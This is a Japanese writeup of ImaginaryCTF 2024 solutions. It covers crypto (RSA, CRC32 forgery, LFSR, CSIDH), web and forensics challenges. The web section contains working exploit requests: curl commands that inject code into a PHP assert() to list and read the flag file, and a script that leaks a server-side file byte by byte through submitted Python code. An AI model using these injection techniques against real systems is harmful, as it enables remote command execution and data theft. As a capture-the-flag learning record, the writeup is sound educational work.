ImaginaryCTF 2024 writeup

ImaginaryCTF 2024 に参加した。日本時間で 2024-07-20 04:00 から 2024-07-22 04:00 まで。

結果は 93/1457 位。 (順位表)

解法集

Crypto

base64

base64 (の数値そのまま版) でエンコードされた文字列が与えられるので復元してくださいという問題。

from Crypto.Util.number import long_to_bytes

secret_key = [10, 52, 23, 14, 52, 16, 3, 14, 37, 37, 3, 25, 50, 32, 19, 14, 48, 32, 35, 13, 54, 12, 35, 12, 31, 29, 7, 29, 38, 61, 37, 27, 47, 5, 51, 28, 50, 13, 35, 29, 46, 1, 51, 24, 31, 21, 54, 28, 52, 8, 54, 30, 38, 17, 55, 24, 41, 1]

val = 0
cur = 1
for v in secret_key:
    val += v * cur
    cur *= 64

print(long_to_bytes(val))
integrity

妙な作り方をした RSA 署名が与えられるので、元のメッセージを復元せよという問題。
crc_hqx(long_to_bytes(d), 42) は 65536 通りしかないので全探索で求めることができ、そこからユークリッドの互除法を使えば良い。
(https://www.slideshare.net/slideshow/rsa-n-ssmjp/72368516 の「その 8」)

from Crypto.Util.number import long_to_bytes

# 問題で与えられた数値
n = ...
ct = ...
signature = ...

crc = None

target = pow(signature, 65537, n)
cur = 1
for crc_cand in range(2**16):
    if cur == target:
        crc = crc_cand
        break
    cur = cur * ct % n

print('crc =', crc)

# Find (x, y) such that x * crc + y * 65537 = 1
x = pow(crc, -1, 65537)
y = (-x * crc + 1) // 65537

# Calculate the flag
flag = pow(signature, x, n) * pow(ct, y, n) % n
print(long_to_bytes(flag).decode('utf-8'))
tango

暗号文は (nonce) + (平文の CRC32) + (暗号文 (認証タグなし)) という構造である。
同一セッションでは常に同じ鍵で暗号化しているので、nonce も同じにすれば実質的に同じ乱数ストリームとの xor をとるだけになる。
正規の方法だと、暗号文において command は 3 文字の文字列しか許容されないが、暗号文や平文を偽造すればよい。
暗号文の偽造は xor 暗号なので簡単で、CRC32 の偽造は CRC32 の線形性を使えばできる。

import sys
from pwn import *
from zlib import crc32

local = len(sys.argv) > 1

io = process(['python3', 'server.py']) if local else remote('tango.chal.imaginaryctf.org', 1337)

io.recvuntil(b'Welcome to the Tango server! What would you like to do?')
io.recvuntil(b'[Q]uit\n> ')
io.sendline(b'E')
io.sendline(b'sts')
io.recvuntil(b'Your encrypted packet is: ')
packet = io.recvline()

ct = bytes.fromhex(packet.decode().strip())
nonce = ct[:8]
checksum = int.from_bytes(ct[8:12], 'big')
ciphertext = ct[12:]
print('len(ciphertext) =', len(ciphertext))

# Forge checksum and ciphertext
dummy1 = b'{"user": "user", "command": "sts", "nonce":"'
dummy2 = b'{"user": "root", "command": "flag", "once":"'
dummy1 = dummy1.ljust(len(ciphertext), b'A')
dummy2 = dummy2.ljust(len(ciphertext), b'A')
crcdiff = crc32(dummy1) ^ crc32(dummy2)
newciphertext = []
for i in range(len(ciphertext)):
    newval = ciphertext[i] ^ dummy1[i] ^ dummy2[i]
    newciphertext.append(newval)
forged = nonce + int.to_bytes(checksum ^ crcdiff, 4, 'big') + bytes(newciphertext)

io.recvuntil(b'[Q]uit\n> ')
io.sendline(b'R')
io.recvuntil(b'our encrypted packet (hex): ')
io.sendline(forged.hex().encode('ascii'))
print(io.recvline().decode('utf-8'))
solitude

RNG のやっていることは複雑だが、結局のところ state は 0 から 129 までの長さ 130 の順列であり、rng.next() も 0 から 127 までの値しか返さない。
各文字についてどの文字が出たかの調査を行えば、flag が復元できそうだが、実際のところどんな文字であっても 0 から 127 までが現れるので、この方法では復元できない。
ここで、RNG を実際に動作させてみると、特定の値だけ出現確率が他の値のほぼ 2 倍という事象が起こり得ることがわかる。
そのため、単に出現を調査するだけでなく頻度分析を行うとうまくいく。

import sys
from pwn import *

local = len(sys.argv) > 1

io = process(['python3', 'main.py']) if local else remote('solitude.chal.imaginaryctf.org', 1337)

io.recvuntil(b'got flag? ')
count = 10000
io.sendline(str(count).encode('ascii'))

flaglen = None

freq = []

for _ in range(count):
    data = io.recvline()
    data = bytes.fromhex(data.decode('ascii').strip())
    if flaglen is None:
        flaglen = len(data)
        freq = [[0] * 128 for _ in range(flaglen)]
    for i in range(flaglen):
        freq[i][data[i]] += 1


def highest(f):
    return max(range(128), key=lambda i: f[i])

high = highest(freq[0]) ^ ord('i')

flag = [None] * flaglen
for i in range(flaglen):
    flag[i] = highest(freq[i]) ^ high

print(bytes(flag).decode('ascii'))
lf3r

この手の初期 seed を求める問題では z3 を使いたくなる。
参考: https://kyuri.hatenablog.jp/entry/2017/10/05/151918

試しているうちに、z3 で剰余とかを扱うのがきつそうな感じがしたので、剰余になるべく触れないように以下の方針をとった。

  • carry[i]: ((self.state & self.mask).bit_count() & 1) << (self.n - 1) で最上位ビットが立ったかどうか
  • xs[i] == 2 * (xs[i] >> 1) + (xs[i]&1) が成り立つ。

また 1 << (self.n - 1) = 2 (mod 3) なので、(xs[i] >> 1) + (2 if carry else 0) == xs[i + 1] も成り立つ。
以上の式を使えば (xs[i]&1) と carry[i] の関係式が stream[i] と stream[i + 1] から導出できる。
最終的に xs[i] % 3 == stream[i] という条件を 2 個くらい試して flag を取得。

from z3 import *

stream = ... # 問題で与えられた数列

nsteps = 2048
n = 256
MASK = 0x560074275752B31E43E64E99D996BC7B5A8A3DAC8B472FE3B83E6C6DDB5A26E7

s = Solver()
xs = [BitVec(f'x{i}', n) for i in range(nsteps)]
carry = [Bool(f'carry{i}') for i in range(nsteps - 1)]
for i in range(2):
    s.add(URem(xs[i], 3) == stream[i])

for i in range(nsteps - 1):
    tmp = LShR(xs[i], 1)
    tmp = If(carry[i], tmp | 1 << (n - 1), tmp)
    s.add(xs[i + 1] == tmp)
    for lsb in range(2):
        for carried in [False, True]:
            rightval = (stream[i + 1] * 2 + lsb + (2 if carried else 0)) % 3
            if rightval != stream[i]:
                s.add(Or(xs[i] & 1 != lsb, carry[i] != carried))

r = s.check()
print(f'{r = }')
if r == unsat:
    print('Nothing to be done')
    exit(1)

proof = s.model()
print(proof[xs[0]])
seed = proof.eval(xs[0]).as_long()

class LF3R:
    def __init__(self, n, key, mask):
        self.n = n
        self.state = key & ((1 << n) - 1)
        self.mask = mask

    def __call__(self):
        v = self.state % 3
        self.state = (self.state >> 1) | (
            ((self.state & self.mask).bit_count() & 1) << (self.n - 1)
        )
        return v


def int_to_base(n, b):
    digits = []
    while n:
        digits.append(n % b)
        n //= b
    return digits

def base_to_int(digits, b):
    n = 0
    c = 1
    for d in digits:
        n += c * d
        c *= b
    return n


lf3r = LF3R(n, seed, MASK)

# discard 2048 bytes
[lf3r() for _ in range(2048)]

flag_digits = []
for i in range(2048, len(stream)):
    flag_digits.append((stream[i] + 2 * lf3r()) % 3)
flag_int = base_to_int(flag_digits, 3)
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")
print(f"{flag = }")
coast

sage --pip install pycryptodome を要した。

SIDH には攻撃手法が知られているはずなのでまずはそれを見る。
https://joint.imi.kyushu-u.ac.jp/wp-content/uploads/2022/08/220802_04moriya.pdf

m の値が小さすぎるのが気になる。今回 m = 1 である。

exchange の実装をみると es[i] = 1 のときと es[i] = -1 のときで行われる処理に違いがなさそうである。
なので実際には 2^128 通りくらいしか鍵はない。
(注: エントロピーは 81 ビット程度。

sage: (log(2/3.0)*2/3 + log(1/3.0)/3)*128
-81.4738135417360

)

public key が点も含んでいるが、この点の位数を調べることで掛けた数が分かってしまう。
例えば秘密鍵 priv において priv[0] != 0 の場合 (ls[0] = 3 なのでつまり最終的な積が 3 の倍数の場合)、 同種写像による G の行き先は位数が 3 の倍数ではない。

sage: pub_bob[1]
(6513647070475959647699583207721162855816591251116965673175324764506065749704905886485134724133875080092439935476237030141738358177674938538984380453209964808063327510331859618056702428547002394265768084944478541866225210621168019986767359297557996178378902254981536084665126018273301797760374115415514 : 5387141467798735312615286901194118227550620065984334257104333263637483749178837383319791846803161701061416237785879685282804903641810651533546481984610947336875659106524726200456639930296424541429479891194943767516402529694529914712855323978928408214528393669634050877945843150877854499436503198733652 : 1)
sage: k = (p + 1)
sage: pub_bob[1] * (k // ls[0])
(0 : 1 : 0)
sage: pub_bob[1] * (k // ls[1])
(0 : 1 : 0)
sage: pub_bob[1] * (k // ls[2])
(5322189480544182832011971049829703560491522598707764860170097499035459584202642576271681048328082826150779517761822285185030358693879517644511735579472835823207946237343705693405400850462128766510590509437601175455537665170074590726959244525211794010374829888174012316454905144073239036687785587052940 : 11716955669584001430171043386116026224151702247156420314831486639061876732250956862050431022914406114606971298297011607303383864122819204604175787664247351625786694710920488473477176881102782428832882505407903371477278739263954873881764003031639973656867580745561410627193201367584502899286537175922914 : 1)
sage: pub_bob[1] * (k // ls[3])
(0 : 1 : 0)
sage: pub_bob[1] * (k // ls[4])
(0 : 1 : 0)

最終的なコードは以下である。

from Crypto.Cipher import AES
from hashlib import sha256

# 問題で与えられた値
base_ser = ...
pub_alice_ser = ...
pub_bob_ser = ...
ct = ...
iv = b'\x94j;L,\xf3\xde\xc5'

ls = [3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 929]
p = 4 * product(ls) - 1
F = GF(p)
E0 = EllipticCurve(F, [1, 0])
G = E0.gen(0)
base = (E0, G)

# recover Alice's private key
alice_E = EllipticCurve(GF(p), [0, 0, 0, pub_alice_ser[0], pub_alice_ser[1]])
alice_G = alice_E([pub_alice_ser[2], pub_alice_ser[3], 1])
alice_priv = []
for l in ls:
    if (alice_G * ((p + 1) // l)).is_zero():
        alice_priv.append(l)


def exchange(pub, priv):
    E, G = pub
    es = priv[:]
    for l in es:
        E.set_order(p + 1)
        while True:
            P = E.random_point()
            Q = (p + 1) // l * P
            if not Q:
                continue
            Q.set_order(l)
            phi = E.isogeny(Q)
            E, P = phi.codomain(), phi(P)
            G = phi(G)
            break
    return E, G

bob_E = EllipticCurve(GF(p), [0, 0, 0, pub_bob_ser[0], pub_bob_ser[1]])
bob_G = bob_E([pub_bob_ser[2], pub_bob_ser[3], 1])

shared_1 = exchange((bob_E, bob_G), alice_priv)

shared_secret = int(shared_1[0].j_invariant() + shared_1[1][0])
key = sha256(str(shared_secret).encode()).digest()
cipher = AES.new(key, AES.MODE_CTR, nonce=iv)
flag = cipher.decrypt(ct)

print(flag)

Misc

starship

4 で incoming の評価を知ることができる。incoming は 2 個とも enemy と判定されるまでガチャを回したのだから enemy に決まっているが、
重要なのは incoming の座標を知れることである。
42 でデータの追加ができる。そこで incoming[1] の座標と、それが friendly であることを教えてやれば良い。
その後 2 で学習して 4 で結果を得れば良い。

Web

readme

Dockerfile にフラグが書いてある。

journal

https://blog.hamayanhamayan.com/entry/2021/12/18/132236 に以下の記述がある。

PHP assert() Vulnerable to Local File Inclusion – All things in moderation
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
assert("strpos('', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
$file = ', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1をやった結果

これを参考にして以下のようなリクエストを投げる。

# これでフラグの名前がわかる
curl -sS 'http://journal.chal.imaginaryctf.org/?file=%27%20.system("ls%20/f*").%20%27'

# フラグに対して cat する
curl -sS 'http://journal.chal.imaginaryctf.org/?file=%27%20.system("cat%20/flag-cARdaInFg6dD10uWQQgm.txt").%20%27'
P2C

ユーザーから Python スクリプトを受け取って、それの結果に応じてページの背景色を設定するページである。

ここで、色の決定プロセスが print(色計算関数(ユーザーのスクリプト())) のような呼び出し方をしているので、例えば以下のようなスクリプトで常に #800000 を設定させられる。

print('(128, 0, 0)')
exit()

以下のようなスクリプトは #690000 を設定するので、flag の 0 文字目は 0x69 = 'i' である。

dat = open('flag.txt','rb').read()
print(f'({dat[0]}, 0, 0)')
exit()

これを flag のすべての文字に対してやれば良い。コードは以下である。

import urllib.parse
import requests
import re
import urllib

def getpos(pos: int) -> int | None:
    url = "http://p2c.chal.imaginaryctf.org/"

    code = f"""
dat = open('flag.txt','rb').read()
print(f'({{dat[{pos}]}}, 0, 0)')
exit()
"""

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
    }
    req = {
        'code': code,
    }
    response = requests.post(url, headers=headers, data=urllib.parse.urlencode(req))

    valid = re.compile(r"rgb\(([0-9]{1,3}), ([0-9]{1,3}), ([0-9]{1,3})\)")
    match = valid.search(response.text)
    if match:
        if match.group(2) == "0" and match.group(3) == "0":
            return int(match.group(1))


ls = []
while True:
    byte = getpos(len(ls))
    print(byte, ls)
    if byte is None:
        break
    ls.append(byte)

print(bytes(ls).decode('ascii'))

終了後に他の参加者の writeup を読んだらもっと頭のいい方法があった。(https://blog.hamayanhamayan.com/entry/2024/07/22/145709#web-P2C で、直接フラグを出力する)

Forensics

bom

先頭 2 バイトをカットするとフラグになる。

packed

ダウンロードできる routed.pkz というファイルは zip archive である。

$ file routed.pkz
routed.pkz: Zip archive data, at least v2.0 to extract, compression method=deflate

これの中には secret.png というファイルがあり、その中に flag が画像として書かれている。

まとめ

良かった点は以下。

  • CSIDH 関連の問題を解くうちに CSIDH の理解が深まった
  • Crypto の解けそうな問題が大体解けた
  • Web 問題が少しだけ解けた

反省点は以下。

  • reversing, pwn がかなり苦手で、解くための手立てが皆無だった